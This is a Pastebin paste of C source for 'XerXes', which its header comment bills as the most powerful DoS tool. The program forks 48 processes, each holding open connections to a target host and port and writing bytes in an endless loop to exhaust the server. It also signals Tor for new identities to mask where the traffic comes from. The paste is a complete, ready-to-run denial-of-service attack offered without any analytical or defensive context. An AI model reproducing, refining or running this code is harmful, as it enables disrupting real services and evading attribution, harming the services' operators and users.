Advertisement
Guest User

XerXeS DivN

a guest
Mar 22nd, 2013
7,486
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* XerXes - Most powerful dos tool - THN (http://www.thehackernews.com) */
  2.  
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <stdint.h>
  8. #include <unistd.h>
  9. #include <netdb.h>
  10. #include <signal.h>
  11. #include <sys/socket.h>
  12. #include <sys/types.h>
  13. #include <netinet/in.h>
  14. #include <arpa/inet.h>
  15.  
  16.  
  17. int make_socket(char *host, char *port) {
  18. struct addrinfo hints, *servinfo, *p;
  19. int sock, r;
  20. // fprintf(stderr, "[Connecting -> %s:%s\n", host, port);
  21. memset(&hints, 0, sizeof(hints));
  22. hints.ai_family = AF_UNSPEC;
  23. hints.ai_socktype = SOCK_STREAM;
  24. if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
  25. fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  26. exit(0);
  27. }
  28. for(p = servinfo; p != NULL; p = p->ai_next) {
  29. if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  30. continue;
  31. }
  32. if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
  33. close(sock);
  34. continue;
  35. }
  36. break;
  37. }
  38. if(p == NULL) {
  39. if(servinfo)
  40. freeaddrinfo(servinfo);
  41. fprintf(stderr, "No connection could be made\n");
  42. exit(0);
  43. }
  44. if(servinfo)
  45. freeaddrinfo(servinfo);
  46. fprintf(stderr, "[Connected -> %s:%s]\n", host, port);
  47. return sock;
  48. }
  49.  
  50.  
  51. void broke(int s) {
  52. // do nothing
  53. }
  54.  
  55.  
  56. #define CONNECTIONS 8
  57. #define THREADS 48
  58.  
  59.  
  60. void attack(char *host, char *port, int id) {
  61. int sockets[CONNECTIONS];
  62. int x, g=1, r;
  63. for(x=0; x!= CONNECTIONS; x++)
  64. sockets[x]=0;
  65. signal(SIGPIPE, &broke);
  66. while(1) {
  67. for(x=0; x != CONNECTIONS; x++) {
  68. if(sockets[x] == 0)
  69. sockets[x] = make_socket(host, port);
  70. r=write(sockets[x], "\0", 1);
  71. if(r == -1) {
  72. close(sockets[x]);
  73. sockets[x] = make_socket(host, port);
  74. } else
  75. // fprintf(stderr, "Socket[%i->%i] -> %i\n", x, sockets[x], r);
  76. fprintf(stderr, "[%i: Voly Sent]\n", id);
  77. }
  78. fprintf(stderr, "[%i: Voly Sent]\n", id);
  79. usleep(300000);
  80. }
  81. }
  82.  
  83.  
  84. void cycle_identity() {
  85. int r;
  86. int socket = make_socket("localhost", "9050");
  87. write(socket, "AUTHENTICATE \"\"\n", 16);
  88. while(1) {
  89. r=write(socket, "signal NEWNYM\n\x00", 16);
  90. fprintf(stderr, "[%i: cycle_identity -> signal NEWNYM\n", r);
  91. usleep(300000);
  92. }
  93. }
  94.  
  95.  
  96. int main(int argc, char **argv) {
  97. int x;
  98. if(argc !=3)
  99. cycle_identity();
  100. for(x=0; x != THREADS; x++) {
  101. if(fork())
  102. attack(argv[1], argv[2], x);
  103. usleep(200000);
  104. }
  105. getc(stdin);
  106. return 0;
  107. }
Advertisement
Advertisement
Advertisement
RAW Paste Data Copied
Advertisement